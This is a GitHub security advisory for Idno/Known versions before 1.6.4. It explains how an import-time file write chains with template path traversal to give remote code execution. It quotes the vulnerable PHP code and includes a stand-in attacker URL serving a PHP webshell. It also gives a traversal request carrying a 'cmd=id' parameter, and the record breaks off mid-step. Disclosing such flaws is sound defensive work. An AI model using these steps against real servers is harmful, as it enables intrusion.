GitHub Advisoryadvisory · Packagist
GHSA-37j7-56xc-c468 Idno Vulnerable to Remote Code Execution via Chained Import File Write and Template Path Traversal
HIGH
Official page ↗
- Aliases
- CVE-2026-28507
- Ecosystem
- Packagist
- Packages
- idno/known
- Severity
- High
- CVSS vector
- CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:L/SI:L/SA:N
- Weaknesses
- CWE-78
- Reviewed
- 2026-03-02
Affected packages
• Packagist idno/known: < 1.6.4 → fixed in 1.6.4
Description
Affected Versions: Tested on current `dev` branch (build fingerprint `505[...]7bd86`)
CVSS v4 Score: 8.6 (CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N)
Privileges Required: Web application admin account (for file write), any authenticated user (for RCE trigger)
---
Summary
Two separate vulnerabilities in Idno can be chained to achieve RCE from a web application admin account. A web application admin can cause the server to fetch an attacker-controlled URL during WordPress import processing, writing a PHP file to the server's temp directory. The admin or a separate, lower-privileged authenticated user can then trigger inclusion of that file via an unsanitized template name parameter, executing arbitrary operating system commands as the web server user.
---
Vulnerability 1: Arbitrary PHP File Write via WordPress Import (SSRF + File Write)
Location
`Idno/Core/Migration.php` — `importImagesFromBodyHTML()`
Required Privilege
Web application admin (any user with the `admin` flag set in the database, accessible via the Idno admin UI).
Description
When a web application admin imports a WordPress eXtended RSS (WXR) XML file via `POST /admin/import/`, the application processes `` tags in post body content and attempts to re-host images locally. The function`importImagesFromBodyHTML()` fetches each image URL using `fopen()` and writes the response body to a temp file whose name is derived from the URL.
The filename is constructed as:
```php
$name = md5($src);
$newname = $dir . $name . basename($src);
```
Where `$src` is the full image URL from the XML and `basename($src)` is the filename component of that URL. Because `basename()` is applied to the URL string rather than a sanitized path, an attacker who controls the URL can make `basename()` return any filename — including one ending in `.tpl.php`.
The URL filter is:
```php
if (substr_count($src, $src_url)) {
```
Where `$src_url` is the hardcoded string `'wordpress.com'`. This check uses `substr_count` rather than comparing the URL's hostname, so it passes for any URL that contains the string `wordpress.com` anywhere — including in a path component such as `http://attacker.com/wordpress.com/shell.tpl.php`.
The file write itself is:
```php
if (@file_put_contents($newname, fopen($src, 'r'))) {
```
`fopen($src, 'r')` opens the attacker URL as a stream. `file_put_contents` reads from the stream in chunks and writes to disk. Because the attacker controls the HTTP server, they can hold the TCP connection open after sending the PHP payload — causing `file_put_contents` to block while the file sits on disk with its full content. The file is only deleted after `file_put_contents` returns:
```php
if ($file = File::createFromFile($newname, basename($src), $mime, true)) {
$newsrc = ...;
@unlink($newname); // only runs after file_put_contents returns
}
```
By holding the connection open, the attacker controls how long the file exists on disk, creating an exploitable window.
The import endpoint itself adds an additional timing buffer:
```php
// Idno/Pages/Admin/Import.php
session_write_close();
$this->forward(...); // HTTP response sent to browser here
ignore_user_abort(true);
sleep(10); // 10 second delay before import runs
set_time_limit(0);
Migration::importWordPressXML($xml);
```
The browser receives a redirect response immediately, and the actual import runs in the background after 10 seconds.
The resulting file is written to PHP's temp directory (typically `/tmp` from the PHP process's perspective, which on systemd-managed Apache is a private mount at `/tmp/systemd-private-{id}-apache2.service-{id}/tmp/`). The filename is predictable: `md5($full_url) . basename($url)`.
Prerequisites
• Text plugin must be enabled (the import function returns early without it) (this appears to be enabled by default)
• `allow_url_fopen` must be enabled in PHP (required for `fopen($url, 'r')` on remote URLs — this is the PHP default)
---
Vulnerability 2: Local File Inclusion via Unsanitized Template Name (LFI → RCE)
Location
`Idno/Pages/Search/User.php` — `getContent()`
`Idno/Core/Bonita/Templates.php` — `draw()`
Required Privilege
Any authenticated user (`gatekeeper()` only checks `isLoggedIn()`).
Description
The user search endpoint accepts a `template` GET parameter that is passed without sanitization to the template rendering engine:
```php
// Idno/Pages/Search/User.php
$template = $this->getInput('template', 'forms/components/usersearch/user');
// ...
$t = new \Idno\Core\DefaultTemplate();
$results['rendered'] .= $t->__(['user' => $user])->draw($template);
```
The `draw()` method in `Idno/Core/Bonita/Templates.php` applies only a regex that strips strings beginning with an underscore followed by alphanumeric characters:
```php
function draw($templateName, $returnBlank = true)
{
$templateName = preg_replace('/^_[A-Z0-9\/]+/i', '', $templateName);
```
This regex does not strip `../` and does not reject path separators. The sanitized name is then joined with a base path and template type directory to construct the include path:
```php
$path = $basepath . '/templates/' . $templateType . '/' . $templateName . '.tpl.php';
if (file_exists($path)) {
$fn = (function ($path, $vars, $t) {
foreach ($vars as $k => $v) { ${$k} = $v; }
ob_start();
include $path;
return ob_get_clean();
});
return $fn($path, $this->vars, $this);
}
```
Because `$templateName` is user-controlled and contains no path traversal restrictions, an attacker can supply a value such as `../../../../../../tmp/{filename}` to include any file reachable by the PHP process that has a `.tpl.php` extension.
Template Type Behaviour
The `new DefaultTemplate()` constructor calls `detectTemplateType()`, which calls `detectDevice()` based on the `User-Agent` header. For standard desktop browsers this returns `'default'`. The `_t` query parameter, intended to override the template type, sets the type on the global site template object — not on the locally constructed `$t` instance — and therefore has no effect on the include path used here. The template type component of the path is always `'default'` for this endpoint under normal conditions.
The full resolved include path for a desktop browser with `basepath = /var/www/html/idno` is therefore:
```
/var/www/html/idno/templates/default/{template}.tpl.php
```
Supplying `template=../../../../../../tmp/{filename}` resolves to:
```
/tmp/{filename}.tpl.php
```
Because PHP's `$_GET` superglobal is accessible from all scopes including inside `include`d files, any PHP code in the included file can directly read query string parameters from the original HTTP request without any explicit passing mechanism.
---
Chained Attack Flow
1. Attacker controls a web server serving a PHP webshell file at a URL containing `wordpress.com` in the path, with filename ending in `.tpl.php`.
2. Attacker constructs a WordPress WXR XML with an `` tag whose `src` points to this URL.
3. Admin submits the XML to `POST /admin/import/` with `import_type=WordPress`. The application responds immediately and runs the import in the background after 10 seconds.
4. `importImagesFromBodyHTML` is called. The URL passes the `substr_count($src, 'wordpress.com')` check. `fopen($src, 'r')` connects to the attacker's server, which sends the PHP payload and holds the connection open.
5. `file_put_contents` writes the PHP payload to disk at `/tmp/{md5(url)}{basename(url)}` (e.g. `/tmp/594ac6416712b71b978fa4659c4298c3shell.tpl.php`) and blocks waiting for the stream to close.
6. While the connection is held open, any authenticated user sends:
```
GET /search/users/?query=a&limit=1&template=../../../../../../tmp/594ac6416712b71b978fa4659c4298c3shell&cmd=id
```
7. **`draw()`…
Related
Alias · CVE (1)
- CVE-2026-28507 Idno is a social publishing platform. vulnerability
Weakness · CWE (1)
- CWE-78 Improper Neutralization of Special Elements used in an OS Command weakness